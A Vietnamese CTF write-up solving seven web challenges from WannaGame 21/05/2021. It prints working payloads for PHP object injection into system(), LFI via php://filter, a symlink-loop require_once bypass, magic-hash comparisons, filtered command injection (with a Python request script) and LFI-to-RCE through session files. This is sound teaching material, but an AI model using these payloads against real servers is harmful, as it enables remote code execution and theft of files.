🇻🇳
th13
  • info
  • JAVA
    • Notes: RMI linh tinh
    • [CVE-2013-2165] Phân tích RichFaces vulnerability thông qua CTF challenge
  • CTF WRITE UP
    • [Web]ImaginaryCTF 2021
    • [Web]CSAW CTF 2021
    • [Web]RaRCTF 2021
    • [Web]LIT CTF 07/2021
    • [Web]redpwn 2021
    • [Web]WeCTF 2021
    • [Web]WannaGame 21/05/2021
    • [Web]San Diego CTF 2021
    • [Web]picoMini by redpwn
    • [Web]WannaGame 17/04/2021
    • [Web]picoCTF 2021
    • [Web]BambooCTF/Calc.exe
  • saved
    • Tài liệu JAV Sờ cu 101
    • [NT230]PE file Injection
    • [WU][web]root-me
    • [WU]Lord of SQLinjection
    • [WU][Web]CyberTalents
    • [exploit][sqli]Challenge ngày Tết
Powered by GitBook
On this page
  • web01
  • web02
  • web03
  • web04
  • web05
  • web06
  • last-chall

Was this helpful?

Edit on GitHub
  1. CTF WRITE UP

[Web]WannaGame 21/05/2021

Previous[Web]WeCTF 2021Next[Web]San Diego CTF 2021

Last updated 3 years ago

Was this helpful?

Saved sources:

web01

Ta sẽ dựa vào lỗi nằm ngay hàm unserialize() để khai thác challenge. Lỗi này có tên là PHP Object Injection. Ta sẽ tiến hành khai thác lỗi này bằng cách cung cấp cho server những đầu vào không được lọc kĩ trước khi được xử lý bởi hàm unserialize(), kết quả là ta có thể tùy ý gán giá trị cho các object bên trong chương trình.

Ta để ý rằng các object trong class User được khai báo private nên ta không thể nào gán giá trị bên ngoài hàm được. Trong 2 class còn lại thì Show_color chứa một phương thức PHP magic là __destruct, bên trong phương thức này là một hàm call_user_func(). Hàm này có thể giúp ta gọi bất cứ hàm nào khác có trong PHP, ta sẽ lợi dụng điều này để gọi hàm system.

Ta sẽ thử nghiệm bằng cách tạo một object Show_color và gán giá trị theo mong muốn vào object này. Sau đó ta sẽ đưa object vừa tạo vào hàm serialize(), để khi cung cấp cho server thì dữ liệu này sẽ được đưa vào hàm unserialize() và trở lại dữ liệu gốc.

Chạy chương trình php có chứa đoạn mã trên, ta sẽ được payload như sau:

code=O:10:"Show_color":2:{s:5:"color";s:2:"ls";s:4:"type";O:8:"stdClass":1:{s:3:"adu";s:6:"system";}}

Dùng payload trên gán vào trường code của challenge và chạy, ta sẽ có được kết quả trả về là danh sách các file có trong thư mục là config.php và index.php. Điều này có nghĩa là ta đã thành công và có thể sử dụng bất cứ lệnh nào để khai thác server này.

Ta sẽ tiến hành chỉnh sửa payload trên để gọi lệnh strings đến file config.php:

code=O:10:"Show_color":2:{s:5:"color";s:30:"strings config.php | grep flag";s:4:"type";O:8:"stdClass":1:{s:3: "adu";s:6:"system";}}

Kết quả là ta sẽ có được flag của challenge.

web02

Description:

Source:

Tóm tắt source code: Ý tác giả nói có 1 file flag đã được require. Truyền 1 param ?file và server sẽ require file được truyền, mặc định không truyền gì sẽ require file etc/passwd.

Flag đang nằm trong flag.php và ta muốn đọc nó thông qua require thì buộc dùng php wrapper mã hóa dữ liệu bên trong để in ra màn hình.

PAYLOAD: ?file=php://filter/convert.base64-encode/resource=flag.php

Kết quả tất nhiên sẽ là không nhận lại được gì vì require_once sẽ không require những file được được require trước đó!

Và có một cách để qua mặt require_once với keyword: require_once symlink php bug.

Là một dân chơi ctf thì phải thông thạo 7 linux 1 triệu điểm và sẽ biết được rằng "current work dir" (cwd) là ./ và có 1 symlink dẫn đến cwd: /proc/self/cwd (Thử trên mấy local sẽ biết :*).

Kết hợp 2 thứ vừa tìm được thì có ngay 1 payload để exploit:

PAYLOAD: ?file=php://filter/convert.base64-encode/resource=/proc/self/cwd/flag.php

Kết quả ôi thành bug ngờ @@ Không có gì xảy ra :). Lúc này dần mất niềm tin vào cuộc sống nhưng đọc kỹ lại thì mình đã làm trùng với BUG #38634 và bug này đã không thể dùng được nữa, ông tìm ra cũng không reproduce được.

Và lần này rút kinh nghiệm phải tìm BUG ID số lớn để mới mới xíu và tìm được #79980.

Giải thích bug: Khi resolve 1 path thì các symlinks của path này được "followed". Nhưng cái gì có giới hạn của nó để tránh vòng lặp vô hạn, giới hạn của symlinks được gọi là "LINK_MAX". Khi ta gọi đến 1 file nhưng path của file đó mình cứ lặp lại vượt ngưỡng "LINK_MAX" thì sẽ biến require_once hoạt động chỉ như require thôi!

PAYLOAD cuối cùng của mình (loop 21 lần so với trên doc chỉ tận 22 lần :v): ?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

Như vậy thành công nhận được chuỗi base64:

Decode:

FLAG: flag{mu0n_r0j_m4_s40_c0n}

web03

Description:

Source:

Bài này ta phải pass 3 round để có được flag:

Round1: 1 !== 2 && 1==2

Trong php, khi ta truyền 1 chuỗi bắt đầu với "0e" thì khi so sánh yếu (==) sẽ cho ra kết quả bằng nhau vì php sẽ hiểu đây là float number format strings, sau đó khi php so sánh yếu 2 chuỗi như vậy thì sẽ tự động chuyển thành so sánh dưới dạng số. Để không gặp lỗi này thì phải so sánh cứng (===).

Round2:3 !== 4 && md5(3) == md5(4)

Ta search với key word: magic md5 thì sẽ nhận được 1 list danh sách các chuỗi có 1 đặc điểm chung là sau khi hash đều trả về kết quả 1 chuỗi bắt đầu với "0e" và nhưng các giải thích trên ta cứ chọn 2 chuỗi bất kỳ.

QNKCDZO:0e830400451993494058024219903391

PJNPDWY:0e291529052894702774557631701704

Round3: 5!==6 && sha1(5)===sha1(6)

Với việc so sánh cứng thì ta không thể tận dụng trick ở round 2 nhưng ta là có 1 trick khác. Việc ta ép kiểu mảng cho 5 và 6 thì khi hash php sẽ không thể hash object và return giá trị NULL giúp ta dễ dàng qua mặt kiểm tra thứ 2. Ở điều kiện thứ 1 phải làm cho 2 array này khác nhau thì ta chỉ cần gán giá trị khác nhau cho mỗi mảng.

Minh chứng:

PAYLOAD: ?1=0e1&2=0e2&3=QLTHNDT&4=QNKCDZO&5[]=1&6[]=2

FLAG: flag{tjnk_d4u_nku_ckj3c_r4nq_kh0n_l4m_mjnk_d4u}

web04

Đây là một bài LFI khá đơn giản, việc ta cần làm là bypass file_exists() và xác định được tên của flag đang ở đâu, tên gì.

Ta thử với flag.txt nhưng báo lỗi file không tồn tại. Thử lại với flag.php thì xuất hiện 1 trang trắng chứng tỏ đây đúng là tên file cần tìm.

Bypass file_exists() ta có thể sử dụng payload ./foo/../flag.php để đọc nội dung file. Nhưng vì flag là file php nên ta không đọc được phải dùng php wrapper.

Payload: ? f=php://filter/convert.base64-encode/resource=./foo/.. /flag.php

Và cũng thật khó hiểu khi dùng php wrapper ta hong cần dùng ./foo/../ để bypass hàm file_exists() mà nó sẽ tự động bypass luôn.

Sau khi dùng payload trên ta nhận được một chuỗi base64 sau khi decode ta nhận được flag:

web05

Challenge này chặn khá nhiều thứ, dấu \\, dấu nháy đơn, nháy kép, $, @ rồi các câu lệnh linux như cat, ls, nl, head, less, more, tail, grep, dir… Nhưng tác giả đã filter thiếu rất nhiều command có thể tìm và đọc file khác.

Flag của mình đoán sẽ có chữ “flag” trong tên tệp nên dùng echo flag* để tìm tất cả các file có chữ flag trong tên.

Tìm thấy file flag rồi, mà tên flag còn dài hơn cả payload được chèn vào. Nhưng không sao, may mắn là ta không bị chặn dấu *. Mặc dù có vẻ như tất cả các lệnh dùng để đọc file đều đã bị chặn nhưng chúng ta vẫn còn lệnh strings để in ra các ký tự trong tệp tin.

Giờ sử dụng strings để đọc flag thôi.

Theo lời chia sẽ của tác giả đây là một bài mà tác giả đã không filer kỹ nên mới làm dễ như thế :)))

web06

Bài này chính là bài nâng cấp sau khi author phát hiện ra lỗi lầm của mình ở web05 :))

Ta không thể sử dụng các lệnh thông thường để tìm và đọc file như trước.

Bài này đã nhường cho mình một con đường khó khăn nhưng là khả thi nhất: echo và sh.

Tóm tắt ý tưởng bài này như sau: Quyền của user hiện tại là www-data thấp nhất nên chỉ có quyền đọc ở hầu hết thư mục nhưng vẫn có quyền đọc, ghi, thực thi ở thư mục /tmp. Ta sẽ sử dụng echo để tạo file và dùng lệnh sh để thực thi file đó. Như vậy đấy là cách rce của chúng ta, bắt đầu thôi.

Sau 7749 lần test trên máy local thì mình đã tìm được payloads thích hợp và viết 1 đoạn script để gửi request đến server.

import requests

#PAYLOAD to list files
payloads = [
    ';rm /tmp/k',
    ';echo l\>>/tmp/k',
    ';echo s -\>>/tmp/k',
    ';echo la \>>/tmp/k',
    ';echo /et\>>/tmp/k',
    ';echo c\>>/tmp/k'
]

#PAYLOAD to find file
payloads = [
    ';rm /tmp/k',
    ';echo fin\>>/tmp/k',
    ';echo d \>>/tmp/k',
    ';echo / -\>>/tmp/k',
    ';echo nam\>>/tmp/k',
    ';echo e F\>>/tmp/k',
    ';echo l4*\>>/tmp/k',
    #';echo .tx\>>/tmp/k',
    #';echo >>/tmp/k'
]

#PAYLOAD to cat file
#cat etc/.fl4g
payloads = [
    ';rm /tmp/k', #remove file
    ';echo ca\>>/tmp/k',
    ';echo t \>>/tmp/k',
    ';echo /et\>>/tmp/k',
    ';echo c/.\>>/tmp/k',
    ';echo fl4g>>/tmp/k',
]

url = "http://45.122.249.68:8983/?code="

for p in payloads:
    rs = requests.get(url+p)

print("done")

FLAG: flag{adu_vjp_pr0_boi}

last-chall

Ban đầu nhìn vào source cứ nghĩ phải bypass được mấy cái if để có flag nhưng 3p nghĩ là là không thể :)) để kiểm chứng điều đó thử lfi (ớ nhánh điều kiện !== admin) đọc file config thì thật sự trong đó hong có flag :v

Xác định lại 2 dữ kiện ở bài này: LFI, session_start()

Sau vài tiếng mài quần ở quán cf kế ktx mình đã tìm được một keyword cực kỳ xịn: from lfi to rce via php session.

WORKFLOW: Với 2 params name và pass, ta sẽ truyền code php cho name để rce server ( đoạn code này sẽ được serialize rồi lưu vào file session_id trong path default của php) và path/session_id/file/stored cho pass để thực hiện lfi (đoạn code php trên được userialize -> trigger).

Lưu ý: ở lần đầu tiên request lên thì code php được store vào session_id file. Khi đó ta thực hiện lfi để trigger file sẽ không có gì xảy ra cả, thử request lại thì sẽ trigger thành công (giải thích nôm na lần đầu là store, lần sau mới được call ra thành công)

Thử với <? phpinfo(); />

Giờ thì thực hiện rce để kiếm flag thì thấy 1 file ẩn /.pho_flag, thực hiện đọc flag

FLAG: flag{you_got_it_dude}

Reference:

Tham khảo:

vulnerability:

session:

https://bugs.php.net/bug.php?id=79980
https://seclists.org/fulldisclosure/2004/Feb/82
https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/
https://canvas.seattlecentral.edu/courses/937693/pages/10-advanced-php-sessions
https://github.com/th13ntc/ctf-source-saved/tree/main/wannaCTF-05-2021
request lần 1 (không cần lfi, chỉ cần cho code php được stored)
request lần 2 (thay đổi user sẽ làm overwirte, lần request sau sẽ thay đổi nhé)